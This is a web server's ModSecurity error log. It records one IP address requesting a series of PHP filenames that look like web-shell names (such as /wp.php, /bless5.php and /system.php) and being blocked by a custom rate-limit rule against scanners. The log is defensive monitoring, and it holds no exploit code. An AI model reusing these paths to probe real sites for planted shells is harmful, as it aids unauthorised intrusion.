[Tue Dec 02 23:26:56.188937 2025] [:error] [pid 48650:tid 48661] [client 20.196.108.177:20427] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aS8FQIQuWSn3xrJsXbn5iAAAAcY"]
[Tue Dec 02 23:26:56.733078 2025] [:error] [pid 3760:tid 3767] [client 20.196.108.177:20468] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aS8FQFjLYEjdWVcKgVWYVwAAAMU"]
[Tue Dec 02 23:26:57.337083 2025] [:error] [pid 3648:tid 3704] [client 20.196.108.177:20433] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aS8FQeQEp5icp6XOJr0wMwAAAFQ"]
[Tue Dec 02 23:26:57.989835 2025] [:error] [pid 48650:tid 48660] [client 20.196.108.177:20477] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aS8FQYQuWSn3xrJsXbn5jQAAAcU"]
[Tue Dec 02 23:26:59.285750 2025] [:error] [pid 3648:tid 3705] [client 20.196.108.177:20362] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aS8FQ-QEp5icp6XOJr0wNQAAAFU"]
[Tue Dec 02 23:27:00.507340 2025] [:error] [pid 48650:tid 48665] [client 20.196.108.177:20366] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aS8FRIQuWSn3xrJsXbn5jwAAAco"]
[Tue Dec 02 23:27:01.118801 2025] [:error] [pid 5273:tid 5325] [client 20.196.108.177:20463] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aS8FRSMmXO5H1kNwHHWFpAAAAZc"]
[Tue Dec 02 23:27:02.053673 2025] [:error] [pid 48650:tid 48658] [client 20.196.108.177:20474] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aS8FRoQuWSn3xrJsXbn5kwAAAcM"]
[Tue Dec 02 23:27:02.454591 2025] [:error] [pid 5273:tid 5319] [client 20.196.108.177:20473] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aS8FRiMmXO5H1kNwHHWFpQAAAZE"]
[Tue Dec 02 23:27:03.002590 2025] [:error] [pid 3760:tid 3784] [client 20.196.108.177:20478] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aS8FR1jLYEjdWVcKgVWYYgAAANY"]
[Tue Dec 02 23:27:03.435676 2025] [:error] [pid 3648:tid 3685] [client 20.196.108.177:20464] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aS8FR-QEp5icp6XOJr0wPAAAAEE"]
[Tue Dec 02 23:27:04.054839 2025] [:error] [pid 3648:tid 3687] [client 20.196.108.177:20442] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aS8FSOQEp5icp6XOJr0wPgAAAEM"]
[Tue Dec 02 23:27:04.847997 2025] [:error] [pid 3649:tid 3718] [client 20.196.108.177:20358] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aS8FSLwjL4uqC6YFjxHJ2QAAAIc"]
[Tue Dec 02 23:27:05.275032 2025] [:error] [pid 3647:tid 3666] [client 20.196.108.177:20435] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aS8FSVJaqGDFgh_0XI_XCgAAAA0"]
[Tue Dec 02 23:27:05.886409 2025] [:error] [pid 5272:tid 5286] [client 20.196.108.177:20466] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aS8FSewbFoRzPGfZYVSPRQAAAUs"]
[Tue Dec 02 23:27:07.221507 2025] [:error] [pid 48650:tid 48670] [client 20.196.108.177:20454] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aS8FS4QuWSn3xrJsXbn5mAAAAc8"]
[Tue Dec 02 23:27:08.153259 2025] [:error] [pid 3647:tid 3673] [client 20.196.108.177:20403] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aS8FTFJaqGDFgh_0XI_XDgAAABQ"]
[Tue Dec 02 23:27:08.556790 2025] [:error] [pid 3648:tid 3692] [client 20.196.108.177:20443] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aS8FTOQEp5icp6XOJr0wSAAAAEg"]
[Tue Dec 02 23:27:09.135110 2025] [:error] [pid 3760:tid 3786] [client 20.196.108.177:20363] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aS8FTVjLYEjdWVcKgVWYZgAAANg"]
[Tue Dec 02 23:27:09.681170 2025] [:error] [pid 5272:tid 5291] [client 20.196.108.177:20416] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aS8FTewbFoRzPGfZYVSPSQAAAVA"]
[Tue Dec 02 23:27:10.545853 2025] [:error] [pid 48650:tid 48655] [client 20.196.108.177:20470] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aS8FToQuWSn3xrJsXbn5ngAAAcA"]
[Tue Dec 02 23:27:11.473027 2025] [:error] [pid 48650:tid 48668] [client 20.196.108.177:20444] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aS8FT4QuWSn3xrJsXbn5ogAAAc0"]
[Tue Dec 02 23:27:12.013901 2025] [:error] [pid 48650:tid 48662] [client 20.196.108.177:20371] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aS8FUIQuWSn3xrJsXbn5qQAAAcc"]
[Tue Dec 02 23:27:13.004544 2025] [:error] [pid 3649:tid 3732] [client 20.196.108.177:20414] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aS8FUbwjL4uqC6YFjxHJ5QAAAJU"]
[Tue Dec 02 23:27:14.066853 2025] [:error] [pid 3649:tid 3735] [client 20.196.108.177:20357] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aS8FUrwjL4uqC6YFjxHJ5gAAAJg"]
[Tue Dec 02 23:27:14.683882 2025] [:error] [pid 3649:tid 3724] [client 20.196.108.177:20359] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aS8FUrwjL4uqC6YFjxHJ6AAAAI0"]
[Tue Dec 02 23:27:15.263181 2025] [:error] [pid 3760:tid 3773] [client 20.196.108.177:20289] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aS8FU1jLYEjdWVcKgVWYbAAAAMs"]
[Tue Dec 02 23:27:15.886934 2025] [:error] [pid 5272:tid 5295] [client 20.196.108.177:20425] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aS8FU-wbFoRzPGfZYVSPTQAAAVQ"]
[Tue Dec 02 23:27:16.318121 2025] [:error] [pid 3648:tid 3699] [client 20.196.108.177:20436] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aS8FVOQEp5icp6XOJr0wTgAAAE8"]
[Tue Dec 02 23:27:17.489294 2025] [:error] [pid 5232:tid 5234] [client 20.196.108.177:20430] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aS8FVQApmO-auDy1ob4oPwAAAQA"]
[Tue Dec 02 23:27:18.397665 2025] [:error] [pid 3647:tid 3665] [client 20.196.108.177:20378] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aS8FVlJaqGDFgh_0XI_XHgAAAAw"]
[Tue Dec 02 23:27:19.287160 2025] [:error] [pid 48650:tid 48677] [client 20.196.108.177:20360] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aS8FV4QuWSn3xrJsXbn5sgAAAdY"]
[Tue Dec 02 23:27:19.726474 2025] [:error] [pid 3647:tid 3669] [client 20.196.108.177:20460] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aS8FV1JaqGDFgh_0XI_XIgAAABA"]
[Tue Dec 02 23:27:20.224800 2025] [:error] [pid 3648:tid 3690] [client 20.196.108.177:20376] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aS8FWOQEp5icp6XOJr0wWAAAAEY"]
[Tue Dec 02 23:27:20.655061 2025] [:error] [pid 5273:tid 5312] [client 20.196.108.177:20369] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aS8FWCMmXO5H1kNwHHWFuAAAAYo"]
[Tue Dec 02 23:27:21.326946 2025] [:error] [pid 5232:tid 5250] [client 20.196.108.177:20448] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aS8FWQApmO-auDy1ob4oQgAAARA"]
[Tue Dec 02 23:27:22.053020 2025] [:error] [pid 3647:tid 3660] [client 20.196.108.177:20290] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aS8FWlJaqGDFgh_0XI_XKgAAAAc"]
[Tue Dec 02 23:27:22.535787 2025] [:error] [pid 5272:tid 5297] [client 20.196.108.177:20458] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aS8FWuwbFoRzPGfZYVSPUQAAAVY"]
[Tue Dec 02 23:27:23.432791 2025] [:error] [pid 3760:tid 3778] [client 20.196.108.177:20476] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aS8FW1jLYEjdWVcKgVWYegAAANA"]
[Tue Dec 02 23:27:24.748913 2025] [:error] [pid 3649:tid 3724] [client 20.196.108.177:20304] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aS8FXLwjL4uqC6YFjxHJ9gAAAI0"]
[Tue Dec 02 23:27:25.607982 2025] [:error] [pid 5272:tid 5292] [client 20.196.108.177:20447] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aS8FXewbFoRzPGfZYVSPVQAAAVE"]
[Tue Dec 02 23:27:26.180639 2025] [:error] [pid 48650:tid 48668] [client 20.196.108.177:20379] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aS8FXoQuWSn3xrJsXbn5vgAAAc0"]
[Tue Dec 02 23:27:26.937638 2025] [:error] [pid 48650:tid 48670] [client 20.196.108.177:20471] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aS8FXoQuWSn3xrJsXbn5wAAAAc8"]
[Tue Dec 02 23:27:27.781491 2025] [:error] [pid 3648:tid 3691] [client 20.196.108.177:20467] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aS8FX-QEp5icp6XOJr0wXAAAAEc"]
[Tue Dec 02 23:27:28.287693 2025] [:error] [pid 3647:tid 3663] [client 20.196.108.177:20391] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aS8FYFJaqGDFgh_0XI_XNAAAAAo"]
[Tue Dec 02 23:27:29.777224 2025] [:error] [pid 3760:tid 3778] [client 20.196.108.177:20355] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aS8FYVjLYEjdWVcKgVWYgQAAANA"]
[Tue Dec 02 23:27:30.292626 2025] [:error] [pid 48650:tid 48659] [client 20.196.108.177:20451] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aS8FYoQuWSn3xrJsXbn5yAAAAcQ"]
[Tue Dec 02 23:27:31.345494 2025] [:error] [pid 48650:tid 48655] [client 20.196.108.177:20461] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aS8FY4QuWSn3xrJsXbn5ygAAAcA"]
[Tue Dec 02 23:27:31.740716 2025] [:error] [pid 48650:tid 48668] [client 20.196.108.177:20364] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aS8FY4QuWSn3xrJsXbn5zAAAAc0"]
[Tue Dec 02 23:27:32.150133 2025] [:error] [pid 48650:tid 48670] [client 20.196.108.177:20373] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aS8FZIQuWSn3xrJsXbn50AAAAc8"]
[Tue Dec 02 23:27:32.518231 2025] [:error] [pid 48650:tid 48663] [client 20.196.108.177:20305] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aS8FZIQuWSn3xrJsXbn50gAAAcg"]
[Tue Dec 02 23:27:33.327873 2025] [:error] [pid 5232:tid 5241] [client 20.196.108.177:20432] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aS8FZQApmO-auDy1ob4oSgAAAQc"]
[Tue Dec 02 23:27:33.673281 2025] [:error] [pid 3648:tid 3695] [client 20.196.108.177:20456] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aS8FZeQEp5icp6XOJr0wZQAAAEs"]
[Tue Dec 02 23:27:34.270296 2025] [:error] [pid 5232:tid 5248] [client 20.196.108.177:20382] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aS8FZgApmO-auDy1ob4oTAAAAQ4"]
[Tue Dec 02 23:27:34.891595 2025] [:error] [pid 5232:tid 5250] [client 20.196.108.177:20479] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aS8FZgApmO-auDy1ob4oTQAAARA"]
